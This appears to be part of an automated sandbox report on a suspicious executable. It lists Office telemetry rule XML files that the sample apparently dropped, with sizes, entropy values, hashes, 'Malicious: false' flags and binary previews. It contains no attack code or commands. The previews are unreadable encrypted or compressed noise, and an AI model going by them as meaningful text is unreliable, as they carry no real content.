Preview:	<?xml%.2,.......^~....WSo..XA?y.=...RY=.L6...h.8..?.......g.....9.>..X...kPT.$I.SPK...BO.3..C...!8...<..2..l...r.-... F.&.OO.?..:........p9......g..j$.oc.o"km.I.....o..r....%U..%..=K\|.p.....&!=v...O...........k.........o..p..t..g..."..........{A'k.'...Wcm..7S.y..[..g....3..<b.%T....pB@.m.5..y..F4s...q.M..Pb6...<....S=...c..D..dJ.z..%.Q....4..-.w.I.......o..#..<6......}.. ....L......8.+...h5o. .m......Y.h.t..S.r...Yd]%......8^.%?8.yX.~....z.h.EF.i.J}.Uqb..6.+m.....@..WW..l.D.../.~...%.9.@...]......}....V.C.ql+.y\...u.c7l`...Nk...o.S.,.dW.JZ.}...o.?b..?>.,v=..X.q..L2...3...tC..@.........u-V.8H....V..PvjxT...T.q.......L.O....=.~.c..U].M~Fp{.[..#....C..k..MV } ..p.^...X..^.)...H.\....w..T..j.\...&.=..=.o0.+.X?U..J...w.G.\|...K.7SB.Z.d..c:l......v...{.B8?*.....t...~:~..r.....K...z. ...a.Q.....>#....Q.:..L7...0p....m.......g..LxY..9.5...#xnGK...G..#...3.C;.g.......o.....VA.t......c.._.I.....}"W..9D.~...1u-....(D.[.a....w>:......B%g.S3.b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.8981657766211395
Encrypted:	false
SSDEEP:	48:hzhrBDcY1m9UPxD4z4Q63oL3bIJPvIo9G6W+gn/ZD:dDc+m9aAt64gJPw0G6tgnJ
MD5:	CDD25ABF7DEE08083353B80CBA2A3B74
SHA1:	9CE181F4FF1B7E2410F069DE819B8A3BE1BFEC6C
SHA-256:	43E4674CF96723889D718DBB3106A8347EE8C177CE6201848CA134AEC0BFEBD2
SHA-512:	1013B065AF1FCCC6FD5C40764FB48DC73D96C3775531C85D221B6F88AB02EE175A659A6062CF506A8643B308E5727F01A2348EC3C7684F24951E36699941BCFB
Malicious:	false
Preview:	<?xmlT;..Hw.T.{....A..Y7......p..d./...'5".z.....s.>`,....8-...Rj.=...r..3.es;a......Y...W...R.Z...P...zd...C...R\|.c7...@.5.@...s~.K...Y.x.....zP......Lw.e..u......S......5...;.{..^^.......E..#%Jo.>..@...S.....uM..$.`.^.7......8..,.(...~1.rN...?}..{c..5.t.K.7.tdv.i.>@B=.....{.W.{=..k..u..^.>..n.0.....J..).TH.vA.._..1jxM!..eI=.N..A...8.-.1]....4rg.x.6Z......-R.....0{..G.V.0D_%.e..:o\}......h.D....@.'a.n.....,.._.T..4.0a.[j.......!=.}...y`..b.N.4fK#...Y.CQ...3"....../.}..x@i...<0i..ffc\|..V..A_...3...7....z.&9...$.....TU..n.[.L.9.>....\|3.....c..mt]....H1..2..[~.[..w..2\|.......>BIh....5.!s..je@.n..Y..W...J.~h..........h.[....0...$..}.J.A...?.pv.rd3.Q.4.cHH..@.\|..~APjf...&....l.... ...........f.....;.a~.+.<..}.n..X..HF[.D......?z..3....&q.....R'....w..S..9L..#.x...].3.........26..'...K..'..%.Y..i..S.....w......3...1..%.+......h..7.b6=..V.H.h.g........q..).'..{...yf..'?... ..r... ...w3..}I>..<...VYO.0.3..\6L=..........=l.F."sM.+P.-..m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.903365037832273
Encrypted:	false
SSDEEP:	48:upbyJ/F/FkN6feD80WsFtf6qd2d78ovgvK+D:ulC/Fc6Gw0WsHf6qd28nB
MD5:	6EF13898D342FDA6E23DABCF32976632
SHA1:	C3D960DDA048B1826CC3C2BB6A02EBC1A2416330
SHA-256:	247B73C6FA2917AB4D2EDB14E00A40811BCCDD087BAA5A2A724535EC1A2031E1
SHA-512:	E38060E1BA4C4170E62BEDD559A9BD2EE3118FB18C55E82E23DE057E74E39C4059F580EA1A40AD14D084ED90A932392B41449C1BE3F18FC6A3477CFB0D796983
Malicious:	false
Preview:	<?xml..%hc......wd..C.2.Q.a..3.6..y.u..,.,4.?qf..r......-.9.t8B..<t.8.-..U..W..C.z..5=...............;(.iC..~ya...O.Zl.Q.....w....8R.2.x..b..J..#...cl_..F.E/...`k.T....+...-........e....-J!.J.K.}t.Z.6.;..d'.D8.:..m.....%.K.!.......P.....\...!I+o..f..\..mFB...}...... .s.F,)....I;F\|....,Q.......&..(..9...K:..2......n...xA..F.h......h,.....$.....N...K....df..H...'7.e.........Z\.S.O....g..)....7.f..U<tD.\.......GbD..Ci..p%MO..E....p...;=...g.=...7Pj.OE.....djo.c........{.....R.qj......6....&....]"_..}2...#.`...!..f....NWn.@...R..J....kPF...Skd@DI..\.x....W.....G...]..........I.}..QY'%..tB;.H...#}...E....q._n....v.m.m.%7u.[......1......{. >.....s......T....S?[.}..T[.J..-."CX.A....:...A:.Q.....`W.8...2. v.1.$J..N}t..E../S.E........G).-.z2.....c.....?...V-.1H.^]gnD B.V.jTN.3..,..k..b)..r....Ub..v.-+.Wzl.L[<.k..~...).,$..#P.<..5<....B..B.{./s.$.=.hb-j4...x....X..i._..H.>Q..[t.?.Y..z..V./\6PuI...DV.w.aZ{..T..]....l..V3...l+F.y........T.I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.888690578135283
Encrypted:	false
SSDEEP:	24:7D388ZjN//rTRXdc+pOvIyQYAMny70xR0pU5xqSvlP3mjfg4oBChDRSSMP2w2bD:7DskNXndKIoAME0xfFZs9RSz4D
MD5:	E97B4487544792D9FCE1E594DFFB0A4D
SHA1:	1453937B4E5B7B29092CF67F49A15D953A33D6D2
SHA-256:	658A74A9AA9BA5A5ACA7DCC36C011CE983360ED363EE3A465D2D19DAF9B40883
SHA-512:	C5AD405FB354722352ECB65AA1F0E1B5814DACBED9D64CEEC03183851D9F6CA4DEBDEB849D51647C6C9FFAB4639E427437A4CF6331075C313A2FB1DEA8E7E887
Malicious:	false
Preview:	<?xmlV.5....._3.^........5....\|..:..G..i......../...z.h...f..b6(.f.t.p.......Gg.\y.g...g....;.m.48..)P.o..g.a"#...Hze..e$...D ...S..o..N0.qPV.)Z...uxw5.Cf1.G..........#LQ.K....3...,...~..$A.t...y..LF.0...a.......Z.6$Cx..... ..=..R.....`.I...a.p.....Y.1P.T.~.........j.'.\.~V.....<SE.o..s.^a..U.&.k..e..13..x.r}....<}..f{..K......=.. .F3i....N........>._.(....Y.$...&.3r=...:.W..Ha]*G...K.H...y.,..6..O. .z......`.U...2....W..V..O.5^... .}9.....R.oW...:....n.3..+...!.Lc..N.....0K..D-.?.+$..=.we[cN..p.&-.B\.u..OQE.F.U....XOl....NQ.b`k%.!..y..u..G.....{....U.J..@..@%.".g..i.T[[0.%xF.....4..]...`.O...0.4,..:5...'-B...... F".;..........n>.P!1.9D....I...v@T..z.m...".r..=l.'2,4.R...BcB...T.B../...,.\>.e.O.2..I^8.........;.....k.......H.\Bq.z....-t...~V.#.&..pj...N.....v..w..5.9.Q3.,3V...E7HurM.."E..Nk[.V.C..pmT.QE....u:Z...L..c..q]..i.1...;.....G.(h.K..7/.~P..X.0......Tj...(...%...A.....7.A2(f...-]!{.....Y.U.......#a..z..W.w...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	7.902704891649806
Encrypted:	false
SSDEEP:	24:Aqf9iU7a/95XKOZCf6niwf4e2hT04tReHcJd2pZMDda/Ipr2kuDvbBsexPqgBeGC:AIIFCCBQY4tMHCdcqDUKr23JxSRVfjD
MD5:	7AEA7213BC3D217D3F846FDCCD459016
SHA1:	5ED765A5ECE0CDA6C9B9D827D13D96D16308EB40
SHA-256:	0E21A6AA276AA248ED686FC73A1CE94EE8E6BC118BC9AF32296ADB91B3FF584C
SHA-512:	5824CDBCEE0A19AFB0EA41655B1B8F69C297E735D5AC02E1B74FA2546C021F9445D9C450CC27747E280E64BC1C831EB271D96DD9BD54156AE60B3B3751726FE9
Malicious:	false
Preview:	<?xml}..h..>lDW.6...E..d:3U.a.....!B..9..l..[j............ZD...C..h.$-N=.r...~.r...8v..Rd...3...'D.6...a....t...}.....f.zt)%... .....W].$........l.]...%^..Xt{v.LYI..lY0&^..w!...#.k..;`>^.<O...a+....e.Sx...CA.0.+R.........V...A.pJ...g.........`5..H...-../j..Y.{....5.i..G...:.X....y..[.n.#_KJ..a..H....%.Y.6...t.z:.X^[....P..n.g.....#..D[.aC.L}....h.[.6..dH#..S.p..... .5......z.@..........-.S.E;ER..B..0k.o\...S0.C.....<......u..@...@.DE...;..g.e.,..: .'..7V?....v>4..bBnn......Z.B2(&...5f.e\|J..%.Aj..c..!.U........Z...#....S.+.I.8...Z._.GZ.=..e..p.B}.5....D......$.....\|I....I....=(..5.Fh.?S.k..2.a...R../t..S.I$......$..1O...D..+....\r.m:m3H.o......K\|..K.N..].....H..j.x...9..v.<..\........+........./s..N....U........../..S.E[.ir.qK.........\|..}\|..0u..............<..=.I...{Z...L..i......=.....<...m.x...v....}....\v#\|..>.gZ....[..R...u).dB.o.....,i..)..G...b..&e..J....5...uO..!OV..+.Wy..!.]..k..j......lwo.D^(..\|....nI...b...q.VD...6..(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.882312364511355
Encrypted:	false
SSDEEP:	48:sYZTqVyoIJ7gGAZhDEiEgTrL+MX0Cs9vD:724fufDEipyM7k7
MD5:	951FD76F40884830CAAAC2BB613CC783
SHA1:	52C024CEB06A3D36DDE4C545959C46701302A9BF
SHA-256:	5D58E16D0522FC180C0B893B1CC63D2EF313154499E010B2FBB0E46DB23F1D6F
SHA-512:	DA96CE670DF37C4EE52808F140F2D95B0AD8E347F5F551D4D17FB8E0539F3D688E5B08629FE0A7D27F402B883EBC291BE7DC9A35D943DA647B884A1B7A42D3F9
Malicious:	false
Preview:	<?xml.....\|.b.k.8......n.M..WG......F.,.^q.Q...H(.Q.6.S.L..!..6........T....f.....-T.h8-.'tz....t..N.....T$\|..G$.J.:...........1.xg.tg..TZf....R.F..`W...y.-..%..~..].l....L../.pN..S...<..2..N..>.......:..>.....[w..jo..o...G......m........T.L..... ...}_5o.P.@.(.g.6..\.....f+.<8hbd..e....V..@ZV.p.U....h')=.c7.%!cK...AG....p..F.b)}R+..R85b.:z..?..eF..jm..?....\.Xvc<...Z.b.F...o...qZ..-..i.36.d.....J6....,....4A.A..3&2....?)....l...P. 6t9 .........(>.a>...}GE[..?...k.`.......-.(....\|D<...J.&..&.T.=..1s.6....~..o..FrT6.O.S&8..\>.R...)...'.-..K.M.....@......ZB.c...H....+W.J....JC.q....>T...O...:..ct(f..g&2r.v(l...[.n...rC.><.n.!.2..:...N.t...:.."q...,.l...q......$8K.....k.TI.....~q..&.X.Cb^m.`....f.%.....t..g<\|u..J.........z.1.Ul...04.l..!p.....J.&.$-}...f{.k.r...{.....+....>..d.o...."l..$..X..&.....-.+n.6.<l.....8.x...L.W}.........72.t.....<ysI....8I.@......Ip...I.a_../zL.Vq.............5..e..B.Rgg.,.c..._.&R...Y...&.....R.J......H....{...\|.-..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.887501977200218
Encrypted:	false
SSDEEP:	48:vqd06ihQmsQn9PYGvnmgE6mVah+4CXIRhhD:Sd03Ge1mgE6h+IRH
MD5:	83A5687D2672B511A923BDB1F6475667
SHA1:	8AE1CFB351814C010BBDB8C08E2D71323269F7BD
SHA-256:	D812BEB1B30FE5A2448CCCCCA343ED8D6BA3917964FEC7048EF273023288AD86
SHA-512:	ACEB9BC20F70430BDFC3C8A144934E4571F8F256E044C3E43962A43812E05E497589EFA209214BCD862BD68B9636D389657DDCD527AC13B1DF8AFC8870C93F7F
Malicious:	false
Preview:	<?xmlY./.<.T..~..Fd....a[g.t..F;......=.....L.>....L.q.S.;<wO%..y@.#....C.=....H.H.\X;..F... ..t..0...........s..F.z......2..._Z.....r...Ot....{.z.....{;2...k..D.M.\.`.g...e..Z....L.!._.W."M..0..)Rv.#..0...b...R../.~.(Gv.b(...D..'eXr4..z.'z.....T......N.6....V.....}.....wt..!.....a.+.f...).U.%+......<. ,..-.!.........$..8G.g..X;.9.....o...5`...F...X.Xt5.s.\|..n).....O.....s%..R..9.0N..f..1...Pe....{8G.Go.}xg.}...o..1....0n.9..,#...]c"..X G..)...p...i....(4i~mx........5(z&.i.)I.,.RL...DM..-_!./x..9.. .n....p...j..~$..O...HuJA.Z.1.W..3.#...+.x...b.W.4.O\....Q?....3:.j-.Y......~.E.x.'..?{..Q].\..G..r......R(...He..5..N.%.....a\.....e.._.Q7.^)..#.Or...?.[U.3...j....@B....Wi8za.:..J..._..i..7.......Z.#.%N&...Z1>...Tx[.j.....N....U.....'....6~.^K1..@......n..!.#.....P....*.(Q.......<=..&..F....S.r)3%..k...2{.sYh.M..A3...XW._..rf".@..;.......K#.K{K..0.k..sR h..'.sBw0.l.v. /.BN.\|...g0....sO[H..f....0..+.........t........1...nQ...d.8.qz.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.903979615319369
Encrypted:	false
SSDEEP:	48:5JWsyyFS3t+wZCq/NKnJZ8GhPFVcq7FGFL+LlD:usy9FCq/NKnJZphPFVX7UFLm
MD5:	A8DC6114937C281699E76BBE539A4205
SHA1:	F6187A556130B7C48F3EA0122BA1FB1DD53D6FB2
SHA-256:	5139BA345E9D815FA3B2C8251408736030E996402CF1B454E0195A801FB7C8A3
SHA-512:	D28AB0BA969448342C13CED269502888C7735E659228668130C979D6D0FBF483FBB0D5A69EF0282EED66CD4B40BA970E2A7CA17D5B1E2BE6EEFBDD64E2947BA9
Malicious:	false
Preview:	<?xml."N..K..>`.H/.e.. ..^.kKKW...??...&.Y9.\....%.>.oN].6.....w.....X\|d...K..'...i.Wr.31......x.s..,.I.5'.3.4@..t.]....[]w#X...<.%....~.i.t"...._8.5.......fY...X.3.]..8d....o..._m....\|qs..Jqx..+DxK...^yi..A..2R:2..l..,+.....U,..._.(uC..R?....eh.kC..N.[.8.>....hnt^..b...7....2...........;..h...j..M..s....2+..!..]".I.kI.K,lR....(... ..$..UA....F.7gY...P.?.4L2.n5...5..lS..........dM....md.zV..t._.p....M... .o.........V.\|C.VDX.z...(D...'...6.c8.cB'.....V.../......F...v,..g......./U.R;..2.f.y...9.lDf....S.....).8..LA.P..3{NT.^......Z..!..[..5..Q..{....9.6.......M"N.7..k..o.....b.yE...w...K.^......./.......__.$.~=..q.0...y....w.J.K.78..D..6k......}......3..K'K~..^!...T.v:>..;EqW....}....ax..........X+..UE..Y...^\|..u.@.)...\|....].;..m...lj..7.. ......'..X........A%..^2"\..rS./..O'`.!..`...V......8..l?-........NN....:#f.{.wB..MX.i.f....5.n..>f\|..u..`.......2\|....d{.=.j$b..u.C.L.?o..J.O.....n.=;...z..M..".\EtK.-..;.N..b..el...;.p.c.8_..\|}y.+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.898259869102743
Encrypted:	false
SSDEEP:	48:TkURKVNeDiE2U6vOTSoYM2v5jQyeJ/MDauD:JiE2U5D5WNIJG
MD5:	979B6E980BE9A0606DAB3DB0712E1A21
SHA1:	A39913C9CA9425E3736F8E0EDAC616483382C933
SHA-256:	DB4329A1ABA31C8A56171B08880D07C0E27B45A6A68253698CAB31E1546DD012
SHA-512:	D0DF3B35CF2C21364D3FFDC0808422107E64AABBD0A7BC85D6974A5DAAFF687F9572C39DCF32AD844C812D9B36E45A78B1F822AB6A2F93814D673F8ADEA7201B
Malicious:	false
Preview:	<?xml+.A.bVY...68..(..c.h..C...0.!\.=..PwZ.....bZ....x.$a..P....N.?....6M7.m.cKE.nWY.{l...#u.Q.L.\....G....s.._[....e..R. .]2.O.......h.`...:D...."j.U....<<...:....\|....fC..fc@F+V..g.\|.d.....}s..$....../.....\|}....e..@.....7..>";:5.h..Wj..o....k.g...<.".]..m....V.(u.o@.VN..{.-_....V.APRL..D..}m.l..(...#.~"@Z...%...%` ....L.&.#..p6Cf..v...r._!IC...#.r.rKyrm\...a7..~.....3.A..Tj].x)i..,a...1../O.JC......=. ....U...._7{.....}V.RK..I...C..Dq..u..X...Gy.M.e7.5.7...K.....*gg^4..h0.>..k....:.R..q.y...@...:..=%.Ie.....q.C....&.q.B.m.T...2..."..4.[wp90)..$.......A<B...1y%....HXp 8.6y...\.m.u.k.).W../V..k-A(..).hdo.V...1..x..]bo.G....;...eBJ..Y....x...jA....N..<._..hc.{.x....k.....4<..(.I.K..}..cg^)...66.HKkZ0hT....\|.;@.>.{.R.O../.g.'.K-.m.!......H,?.. .on"....W..h.].. ..J.f=4.0^.G.....a.m>..C..g...]!f..^.KoYg.U...1..1.R...r..u+.D...z.%.C..>..ix..e3.U..5.2f....+.....R..+.....R..H......&.!.p...VD......KTD.t..L....L.:............P.g......~nz..r.. ..E....{.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.891015798889052
Encrypted:	false
SSDEEP:	48:fv7jNOZD++8noYba0GBwtxSFjKs4mLMY5pJnhvTwjRGD:X7jNOoTb8wtIFf4MMEnhvTd
MD5:	46B068BB5145C96386921C89D930A294
SHA1:	60416152C787B096C62BD06238AB5CE06CCB0DCF
SHA-256:	BB6E115D81ECAF8344522C7E88321824060948FC83784EC797A75D0C3AF5D295
SHA-512:	D4DE8B5C3847488538B44BC23A7E174873A2E2CD3FFBC429A30A7FA23B41976C330D27A0C4AF59D0FCEF32BCD09E294BF7B9151DD42612BB3071D3BA561672EB
Malicious:	false
Preview:	<?xml...2.xq/...8... n...,[....8.Fu...~r.....7.YoM./H........&.M.%.fkX....S>.?.q]..._..@5W..2x..~.8....)....o...L...=...1S......;.R.w.n.9!.y.j.D..E.....1...].M../E..&........G.DD.q..X.R`..1.......bW2[\...u......Q......i..J..Cv.......JM...Z.~.M.e.....e....."..a....I..+..W'^<.]6..BM.....\%Kw.U..i.J......?..`>...i<...C...EL.W..\..$.H...{.u.V.]..o...[&U.b[.....+........v......R...`....v...T.+c.a@..{.......G..,Y..n.^..D6Dv...!g.....w.vo4.tc.....(.l....@..}......O....w.......>i..0H.\.s.^j.aR,.3L;..,I.....dP9J"....uW."E...f'.\|...i.....b.uw.p..d..i....Z........s..M6Gd.Z.g..bH.B%..e..j.Uw?Xt....U...0?.gm.K..g...lO...,'tNy.....`.IG:..8.....p.N.. ....e..9X~...A.tl...(i.....[.".n.c......&.I...N:;u...vF.hk`<+.'...IG.?.1.$..::.+&.......x.jr9..8.\.2..g.....#.B..{X.)...k`^....g..G....>......'............i.i:G...!..O..D.g*UF....Qd.R....=y..P.{.UAP.g..k./...N.p..Y....j1`......V..F:\.=...E.........q.."\|%7...y...ld.{..}~.:`].E..h..R. ....t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.885479839097734
Encrypted:	false
SSDEEP:	48:MIWvdAwnrHBE70IaU/XwhhV3lhYWVISQw9oUVE6ZD:MIWXnrCAHUChrhY69dnR
MD5:	B76369D22D834ED4D2C66092F7CDD8B2
SHA1:	9627A0F41D7C72A425F83E1B42A1EF4334C4DB13
SHA-256:	E82D8FDF3F1BA6C9FE606AA259F08DD03419342B21C7CD00B9DFF88D23A50712
SHA-512:	0B0590D8647FBD904B40FC94F142ED6E63D269592F966325CBC16A6F6E5D4ADFF342F874DC8BD0501C8D7E6AE3CCCC7CFEDBE66D3A93DCA4990D876ACAD92833
Malicious:	false
Preview:	<?xml...<.........L.l.....l..j..:......v.-4...).j..A\|.F..z.iP.7.....AY$C..#..4.}...%....j.k"..0$...)..6....i......)q.x'.~.&.,kF..r....O..R.d8.]....V(..C>....MgQc..G...X....-H..P..Z.G...@S.,Q6t.9...].2.v...JQ.pJ.L}.../...Y.%.&.h..#.!Io............g......C....H..\l...h>...'B.E\wvU.b...Vo5a..-.t.h.i..B'.9.&..\.-a...3..Y.%....b_@L.J.._.6...0.N.]...&m...z.i.?(.@F.RM...t..R...0.\.Q.{.......:}M....v.s.q..s.\.4g"2.i...B...J..V....='...M@.M@...mm..5..O.t..@`?.g.o..5.Z.9...[.k.QwNI..k..Z8h....E..$).\>.n\v....s..otF:g.m..w.d....a.<.D0T..,.....;.M.....m...U...l..m....0.........H.=.F.....4.....v.FO.S....).v^.t..Z.(y...mW..Cc?Z.[..2B..@.\|g.....(}.Z..n.......>...d...V.=.SEK4^.....C.0ma..].P\B%..GCE.....l.L.=.@]._L....8.9..>x.0.:.@sL[SC....j....uR.j,<.<.e..)...?njxo}o.Y..'.=....rS}...f.p...U.3bI4. ......P./J......s.k.]R...Y...I5.../."..V.w..{.]8.... ....(.:...\J.-.../#v....6.{..V.8....%j.[..(.2.."..!..%w.... .C....^..a.>r[...^..n.CU!jD.....mB...&b.+.6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.893781545211811
Encrypted:	false
SSDEEP:	48:i17kNXfJGGG/6FKm5/wDFh8gT2S/Eji5jPUD:PvJzk6QKYD8iyi5M
MD5:	526A4D4713A87BC8F0F2537E56B80EE4
SHA1:	F233C900472CEE2683E7C8C094AAB72717B56EE2
SHA-256:	6B93812864307684374ED46796044CD15A84835A53823388BAACD3E9705373BC
SHA-512:	7F764727D1A81C133836B3EEA1052849534DDA2525A2985457DD5758E11A163E6594E68D9028D6CBD0F07B7710801984F861E93BBA980213DF7FECD1F4D1BB70
Malicious:	false
Preview:	<?xml.M...>....&.....$?t.J../QG.y.yR.....;..%......;u....d\|.n.'&...r.J.-..F.]..gp.........)A.N=.Q...d.B.......hy\;..Q,..r...HhS.3.2Y..7^...../.........lz..3.j/E+.@...x. .....&.T1Fc.V.wU.....6..m..".L...>4.....'e.........%.3.1.e..?.Is....c.4I..O.3....k...9.3!...ZF.z...9...q....c..g.....+..k.....u.~.z=.q.. ....I4...) .O...=S..o&..^..i.6;.\|..#..w.....C.WFs..M.....]......r,..@l.E...)v.....zi.F....yt..r....!43..-.R..T........k".ud..a.H.ua.i....^o...d....c..Yc.^....r.....g.}k....<Fq~.`o..1W<P..C]UL................).M....JJ&..S....K2.......Lf.tC..B."r .(p.\{..35V.2d....^Ew..{..[,.. ...Qa![^....W.//.i...o.H.$..<....k.S.z.[/c.f.._..p....B......}..)k...5.e.......H...y....G..e.b.SV.........t..R.S+.<e.....W.M..d...Kn.>....n.'..6E....2........b3.p.k.....g....F..g./p.&...z.,...RZ..v.k].&.=.$:~dL....&.JpU..i?..`T.0....F...A......E.%EM.<.7....,z.X.b.\._I. .Rw;.....^..>..4....T..7.!h{C.....m......x.k.'...c.p.....:.......N..R\..A..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.87938454542945
Encrypted:	false
SSDEEP:	48:mhPSEdC1r08S1tlFOWGMSLMZMljWPuo8rM5nOi1bMvWBID:SKEE1r0RPlzGMSLMZ5EONbMvWq
MD5:	E8299BD261EC68B0D3AFB4A97D373247
SHA1:	F01FC3372247F29D9A3C7DE162E0C82E7BFA927D
SHA-256:	A860FE0CF5C43CE90FD6018D1BEC2A1B6CA4FE502AA19F1380BDBD915E3B1367
SHA-512:	38460303BCBD8D1C853368590B657DB9CB7A4F1E9154A2058F09B19EE077A84B9C080D724A460C537E431CB28220F58DAB6D86668D20320FF628EEBC9847986F
Malicious:	false
Preview:	<?xmlQ.Y.87...]v..^.:C..".7$.1....T66..9Vl.aN.......X... ...N....ERg....I..j..?K...Z..2..;..[.(l...."..c\|.tU....1(.....1..Q..qx2<y!PjE?..kn...T.^..c.. .;?../.2#...Iu....t.....U.=~...........9.G4.~..t%t..A....o.....Y..S.d.....Z.[%n,!!...d.cj..C+..B4..s..i....Q.k.4......q/.KC..c.....8.Y.9.....Tu[.$n..q.!.......?.....L....^9Y.O.q..1c.9\|.,#T..'.]....E_....x.1..-.Y.G.V...6Z!`..L...#{.'...........hB.....H`(T..CF..2N)..rXq.....j.....cws..U..8/..n......._....p.D...XG..8......3.%TxG.?....E.7./y-x..'(RI..T_...8on.+..1..Z..M..P.`\|.y....@..>...#...&..9.'..a$..x..#AE..jEP..P..].....PM.w=^u...\]d.....9.8.."....\|.<.....aX...@..r...s.{..\|..S.s.i.k5z=1;.....2.f......^?.>..PH..%h..q.Q.....5..W..$]...4.V.Gs.8.J.t......v.MqR4...9R..3...........<.l..)...SL.H.BsV...p".Q....t..N..YGR...1._W.9`...V..X<s.D.\|.*..THa.!..".s....,..r...l...r.r.] ...Q.gY..;........4.6.n.........ZC..C..0..t...#.^....F..Y...:ooAF.6.....3..}...Q........>.ps....I..........B_.\....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.872964476491904
Encrypted:	false
SSDEEP:	48:wQcGad+csfjOOhedDWeLhDQ2SJvxrEWGkD:wQ1CsKOhCSeLh02SJprzGw
MD5:	5975173F57CE2A4F754F88D28E2AD2B1
SHA1:	C98DECC399F7CF4BAB93AD074A37F1EC36386E3D
SHA-256:	BD19F326C2DFE6D1E9FF7FB0AC6B239C9DB06AD41859E553CA3E0A7A45428085
SHA-512:	BE05A79B11058FA4924E60CDB42D2CE82D8C006751B1A78EFF0F3D5DBFBB834CDCD74A432E0032435886B82741D5B358EFB650E9802A5121D2B699757D5CEBA8
Malicious:	false
Preview:	<?xmlM#2.2..q.'..T..k..To.....;._6.qg2G.E.G...$.e.M8.d..3.....Vc. Z.K...a..tR.>.ay.j.N4.q.[.........P..I.p..V....~..g.x'[.../=O.i..u..0....9I<..m....DC...[8...De.\|./..\|1..Fr.....<...:x0...uM.Sc. 4.#.Jw...&Y."..G..m..j...[.....8....X@.2tE..1-.....`..CR....\|.U.m.a.B...!.^5A..%..Ju..K32.d...._ao!K.7%r."10..4..i\|.`\;#O,..g.E....'6.7a..`VImW.....).../.u....@u'....=...Wm.V)s..5.Z.....s~E...$.u.7}...O....4..C:Km..ys4..q.WYx....k...`.....8b.m......O..g..$w...3.2...._.f..1h..^...Z.Q+-......M"..<...0.>j.F....t.5.....&.$.2.n.u....r..:.............Z.>..'..P.\|.....(.7e.v.Md...'.J...~.Z.;U#..9.B.S..h..E7..../.....^.p.E.W......#....?\....I./J\.G.!.sa.1.....L..-Ng...!R n...s.$.2q.. 4........%..^I...Z.U.........K..7..T+.]..5.,...".M..8.e.2nv..0.w...jXf.....m.$R[.P..5.Y.ouos.5.'sT+.cM;........TNql.gJz;x.s3...qO...N.-..2.`...a.d.O>.kgm..+..c.Q..8T.l.z.7C..........(O.k. B....{:......[.U...!........+.uhb.4..#._..&N...8..l..Kw[...s.!n\m.&.$4.u.&k..tU.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.895860092058859
Encrypted:	false
SSDEEP:	48:Gx3yuSRjNwFpxa+xEm+6549ktNjK1+lbh/HsTvrD:Gx3tSRjNAOl+jjK4h/UH
MD5:	355B08CA030D541E6C1484929A39F1F1
SHA1:	11C498F072E8F4DBDF28814EEE03C6F2D11007D8
SHA-256:	E669C5B02DF84C3B9D3B6AA86DCFFEA509BD58E4646483302612BC2A012F1A3B
SHA-512:	8E63FEAFF8AC56CCC4117D5AF733B338AA54F2E7C5797DC25EDDC14AD77ACD1A92A102EB27192E17B5F85C4C3F754B1FB37A639A7FBC171AD4A63155328C76D1
Malicious:	false
